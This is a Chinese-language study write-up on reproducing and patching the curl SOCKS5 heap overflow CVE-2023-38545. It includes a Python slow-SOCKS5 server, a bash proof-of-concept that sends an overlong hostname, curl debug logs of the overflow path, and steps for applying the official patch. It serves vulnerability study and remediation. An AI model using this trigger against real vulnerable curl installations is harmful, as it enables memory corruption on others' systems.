漏洞修复学习之CVE-2023-38545漏洞复现与修复
漏洞简介
This flaw makes curl overflow a heap based buffer in the SOCKS5 proxy handshake. When curl is asked to pass along the host name to the SOCKS5 proxy to allow that to resolve the address instead of it getting done by curl itself, the maximum length that host name can be is 255 bytes. If the host name is detected to be longer, curl switches to local name resolving and instead passes on the resolved address only. Due to this bug, the local variable that means "let the host resolve the name" could get the wrong value during a slow SOCKS5 handshake, and contrary to the intention, copy the too long host name to the target buffer instead of copying just the resolved address there. The target buffer being a heap based buffer, and the host name coming from the URL that curl has been told to operate with.
通俗解释(AI)
一、背景
- curl 是常用的命令行 HTTP 客户端,支持通过 SOCKS5 代理转发请求。
- 当你在 curl 命令里加上
--proxy socks5h://…,它默认把域名直接发给代理服务器,让代理去做 DNS 解析,而不是在本地自己解析。二、漏洞描述(简化版)
正常逻辑:
- 如果域名长度 ≤ 255 字节,curl 会告诉代理服务器“请你来解析这个域名”,然后把域名写进一个缓冲区发送给 SOCKS5 代理。
- 如果域名长度 > 255 字节,curl 觉得太长了,出于安全考虑就改成本地先解析成 IP,然后只把 IP 发给代理,不带域名。
出错原因:
- 在发起 SOCKS5 握手的过程中,curl 有一个“是否让代理解析域名”的局部变量(一个 flag),它的值决定后面到底是发域名还是发 IP。
- 如果整个握手过程发生得很慢(比如后台网络慢、或者我们故意延迟了握手各阶段),那个 flag 的值可能没来得及正确更新,就被错误地当成“仍要发域名”去了。
- 结果,curl 竟然把「超过 255 字节」的超长域名直接拷到它为 SOCKS5 域名字段准备的固定大小的堆内存缓冲区里,就发生了堆缓冲区溢出(heap-overflow)。
三、风险
- 堆溢出在攻击者可控的输入(URL 里的域名)下触发,就可能被利用来执行任意代码、泄露内存信息或导致程序崩溃。
漏洞测试
python3脚本模拟socks5等待接收curl数据:
#!/usr/bin/env python3
import socket, threading, time
import structLISTEN_HOST = '0.0.0.0'
LISTEN_PORT = 1080
HANDSHAKE_DELAY = 0.8 # 秒
def handle_client(conn, addr):
try:
# ====== 第一次握手 ======
# 客户端 -> SOCKS5: VER, NMETHODS, METHODS...
header = conn.recv(2)
if len(header) < 2 or header[0] != 0x05:
conn.close()
return
nmethods = header[1]
conn.recv(nmethods) # 丢弃 methods 列表# “慢响应”——模拟网络延迟
# time.sleep(HANDSHAKE_DELAY)# SOCKS5 -> 客户端: VER=5, METHOD=0(no auth)
conn.sendall(b'\x05\x00')# ====== 第二次握手 ======
# 客户端 -> SOCKS5: VER, CMD, RSV, ATYP, DSTADDR, DSTPORT
req = conn.recv(4)
if len(req) < 4 or req[0] != 0x05:
conn.close(); return
atyp = req[3]
if atyp == 0x01: # IPv4
conn.recv(4)
elif atyp == 0x03: # domain
dom_len = conn.recv(1)[0]
conn.recv(dom_len)
elif atyp == 0x04: # IPv6
conn.recv(16)
conn.recv(2) # DSTPORT# 再次“慢响应”
time.sleep(HANDSHAKE_DELAY)# SOCKS5 -> 客户端: VER=5, REP=0(succeeded), RSV=0, ATYP=1, BND.ADDR=0.0.0.0, BND.PORT=0
resp = b'\x05\x00\x00\x01' + socket.inet_aton('0.0.0.0') + struct.pack('>H', 0)
conn.sendall(resp)# 等待一会儿再断开
time.sleep(1)
except Exception:
pass
finally:
conn.close()def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((LISTEN_HOST, LISTEN_PORT))
s.listen(5)
print(f"[*] Slow SOCKS5 listening on {LISTEN_HOST}:{LISTEN_PORT}")
while True:
conn, addr = s.accept()
threading.Thread(target=handle_client, args=(conn,addr), daemon=True).start()if __name__ == '__main__':
main()
构造http域名地址并发送给socks5:
#!/bin/bash
# 构造一个 300 字节的超长域名
LONG_HOST=$(head -c 656 /dev/zero | tr '\0' 'a')
URL="http://${LONG_HOST}/"# 让代理端解析域名,并触发慢握手中的 overflow
curl-7.81.0/install/bin/curl --proxy socks5h://127.0.0.1:1080 "$URL" -v
我使用的是ubuntu server 22系统,内置curl为v7.81.0,为受影响版本(7.69.0 <= curl <8.4.0)之一,但实测并不存在该漏洞,应该被修复了。为了测试验证该漏洞,需要下载并自行编译:
下载源码:
wget https://curl.se/download/curl-7.81.0.tar.gz
编译:
./configure --prefix=`pwd`/install --with-ssl --with-nghttp2 --with-zlib --with-brotli --with-zstd --with-libidn2 --with-libpsl --enable-debug
make -j8
make install
使用本地编译的curl进行测试验证就能复现漏洞。需要注意的是:
执行一次可能不能复现,需要多次尝试,并且python脚本中增加延时和curl脚本中使用的域名越长则越容易复现。
域名长度大于255时应在curl中将域名转换为ip地址再发送给socks5,因测试用例给出的是虚假域名,所以在连接socks5之前curl就要报错。如下:
sh poc-69.sh
* STATE: INIT => CONNECT handle 0x622000003108; line 1835 (connection #-5000)
* Added connection 0. The cache now contains 1 members
* family0 == v4, family1 == v6
* Trying 127.0.0.1:1080...
* STATE: CONNECT => CONNECTING handle 0x622000003108; line 1896 (connection #0)
* SXSTATE: INIT => SOCKS_INIT conn 0x61b000000788; line 529
* SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=656]
* SXSTATE: SOCKS_INIT => SOCKS_READ conn 0x61b000000788; line 578
* SXSTATE: SOCKS_READ => REQ_INIT conn 0x61b000000788; line 623
* SXSTATE: REQ_INIT => RESOLVING conn 0x61b000000788; line 767
* Could not resolve host: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
* multi_done: status: 97 prem: 1 done: 0
* The cache now contains 0 members
* Closing connection 0
* Expire cleared (transfer 0x622000003108)
curl: (97) Could not resolve host: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
多次运行脚本会复现漏洞,即curl将超长域名直接发送给了socks5,socks5回复错误。如下:
sh poc-69.sh
* STATE: INIT => CONNECT handle 0x622000003108; line 1835 (connection #-5000)
* Added connection 0. The cache now contains 1 members
* family0 == v4, family1 == v6
* Trying 127.0.0.1:1080...
* STATE: CONNECT => CONNECTING handle 0x622000003108; line 1896 (connection #0)
* SXSTATE: INIT => SOCKS_INIT conn 0x61b000000788; line 529
* SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=656]
* SXSTATE: SOCKS_INIT => SOCKS_READ conn 0x61b000000788; line 578
* SXSTATE: SOCKS_READ => REQ_INIT conn 0x61b000000788; line 623
* SOCKS5 connect to aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:80 (remotely resolved)
* SXSTATE: REQ_INIT => REQ_SENDING conn 0x61b000000788; line 906
* SXSTATE: REQ_SENDING => REQ_READ conn 0x61b000000788; line 929
* SXSTATE: REQ_READ => DONE conn 0x61b000000788; line 1023
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 1080 (#0)
* STATE: CONNECTING => PROTOCONNECT handle 0x622000003108; line 2028 (connection #0)
* STATE: PROTOCONNECT => DO handle 0x622000003108; line 2051 (connection #0)
> GET / HTTP/1.1
> Host: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
> User-Agent: curl/7.81.0
> Accept: */*
>
* STATE: DO => DID handle 0x622000003108; line 2147 (connection #0)
* STATE: DID => PERFORMING handle 0x622000003108; line 2266 (connection #0)
* Recv failure: Connection reset by peer
* multi_done: status: 56 prem: 1 done: 0
* The cache now contains 0 members
* Closing connection 0
curl: (56) Recv failure: Connection reset by peer
漏洞修复
下载源码补丁包:
https://curl.se/docs/CVE-2023-38545_patches.zip
解压后将对应补丁文件应用到源码:
patch -p1 < ../CVE-2023-38545_7.81.0.patch
再次编译安装并测试:
* STATE: INIT => CONNECT handle 0x555ce679b668; line 1835 (connection #-5000)
* Added connection 0. The cache now contains 1 members
* family0 == v4, family1 == v6
* Trying 127.0.0.1:1080...
* STATE: CONNECT => CONNECTING handle 0x555ce679b668; line 1896 (connection #0)
* SXSTATE: INIT => SOCKS_INIT conn 0x555ce679a358; line 529
* SOCKS5: the destination hostname is too long to be resolved remotely by the proxy.
* multi_done: status: 97 prem: 1 done: 0
* The cache now contains 0 members
* Closing connection 0
* Expire cleared (transfer 0x555ce679b668)
curl: (97) SOCKS5: the destination hostname is too long to be resolved remotely by the proxy.
修复后再不会出现将超长域名直接发送给socks5导致错误了。
